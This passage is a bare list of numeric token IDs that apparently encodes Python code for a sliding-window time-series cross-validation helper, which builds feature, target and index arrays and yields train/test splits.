297, 13850, 29901, 13, 18884, 1060, 29918, 14968, 29892, 1060, 29918, 1688, 353, 19359, 29889, 22100, 29898, 14968, 29918, 1688, 29918, 5451, 29892, 1060, 29897, 13, 18884, 343, 29918, 14968, 29892, 343, 29918, 1688, 353, 19359, 29889, 5182, 29879, 29898, 14968, 29918, 1688, 29918, 5451, 29892, 343, 29897, 13, 18884, 16285, 29918, 14968, 29892, 16285, 29918, 1688, 353, 19359, 29889, 513, 1575, 29898, 14968, 29918, 1688, 29918, 5451, 29897, 13, 4706, 9995, 13, 4706, 269, 802, 29872, 911, 29918, 353, 7442, 29889, 29879, 802, 29872, 911, 565, 269, 802, 29872, 911, 1683, 14013, 921, 29901, 921, 13, 13, 4706, 16285, 29892, 5680, 29892, 22525, 353, 19997, 19997, 5159, 13, 4706, 363, 474, 297, 3464, 29898, 6914, 1627, 29892, 302, 718, 29871, 29896, 448, 9055, 448, 1106, 11333, 29892, 4331, 1125, 13, 9651, 16285, 29889, 4397, 29898, 29875, 29897, 13, 9651, 5680, 29889, 4397, 29898, 29879, 802, 29872, 911, 23538, 13, 462, 1678, 7442, 29889, 279, 927, 29898, 29875, 448, 1106, 1627, 29892, 474, 4961, 13, 9651, 22525, 29889, 4397, 29898, 29879, 802, 29872, 911, 23538, 13, 462, 1678, 7442, 29889, 279, 927, 29898, 29875, 718, 9055, 29892, 474, 718, 9055, 718, 1106, 11333, 4961, 13, 13, 4706, 1583, 29889, 513, 1575, 29918, 353, 7442, 29889, 2378, 29898, 513, 1575, 29897, 13, 4706, 1583, 29889, 22100, 3383, 1583, 29889, 5182, 29879, 29918, 353, 7442, 29889, 2378, 29898, 22100, 511, 7442, 29889, 2378, 29898, 5182, 29879, 29897, 13, 13, 13, 1678, 822, 6219, 29898, 1311, 29892, 7945, 29918, 2311, 29892, 1243, 29918, 2311, 1125, 13, 4706, 9995, 29963, 273, 2911, 27777, 29899, 7165, 4891, 8845, 15299, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 7945, 29918, 2311, 584, 938, 13, 9651, 21179, 310, 278, 6694, 731, 29889, 13, 13, 4706, 1243, 29918, 2311, 584, 938, 13, 9651, 21179, 310, 278, 6724, 731, 29889, 13, 4706, 9995, 13, 4706, 302, 353, 7431, 29898, 1311, 29889, 513, 1575, 19925, 13, 4706, 363, 474, 297, 3464, 29898, 14968, 29918, 2311, 29892, 302, 29892, 1243, 29918, 2311, 1125, 13, 9651, 7945, 29892, 1243, 353, 7442, 29889, 279, 927, 29898, 29875, 448, 7945, 29918, 2311, 29892, 474, 511, 7442, 29889, 279, 927, 29898, 29875, 29892, 1375, 29898, 29875, 718, 1243, 29918, 2311, 29892, 302, 876, 13, 9651, 7709, 7945, 29892, 1243, 13, 13, 13, 1678, 822, 5680, 29898, 1311, 29892, 6219, 29892, 5680, 1125, 13, 4706, 9995, 11609, 5680, 22780, 363, 263, 1243, 29914, 14968, 6219, 1213, 15945, 13, 4706, 7945, 29892, 1243, 353, 6219, 13, 4706, 736, 5680, 29961, 1311, 29889, 22100, 29918, 29961, 14968, 20526, 5680, 29961, 1311, 29889, 22100, 29918, 29961, 1688, 5262, 13, 13, 13, 1678, 822, 22525, 29898, 1311, 29892, 6219, 29892, 22525, 1125, 13, 4706, 9995, 11609, 22525, 22780, 363, 263, 1243, 29914, 14968, 6219, 1213, 15945, 13, 4706, 7945, 29892, 1243, 353, 6219, 13, 4706, 736, 22525, 29961, 1311, 29889, 5182, 29879, 29918, 29961, 14968, 20526, 22525, 29961, 1311, 29889, 5182, 29879, 29918, 29961, 1688, 5262, 13, 13, 13, 1678, 822, 16285, 29898, 1311, 29892, 6219, 1125, 13, 4706, 9995, 11609, 16285, 22780, 363, 263, 1243, 29914, 14968, 6219, 1213, 15945, 13, 4706, 7945, 29892, 1243, 353, 6219, 13, 4706, 736, 1583, 29889, 513, 1575, 29918, 29961, 14968, 1402, 1583, 29889, 513, 1575, 29918, 29961, 1688, 29962, 13, 2 ]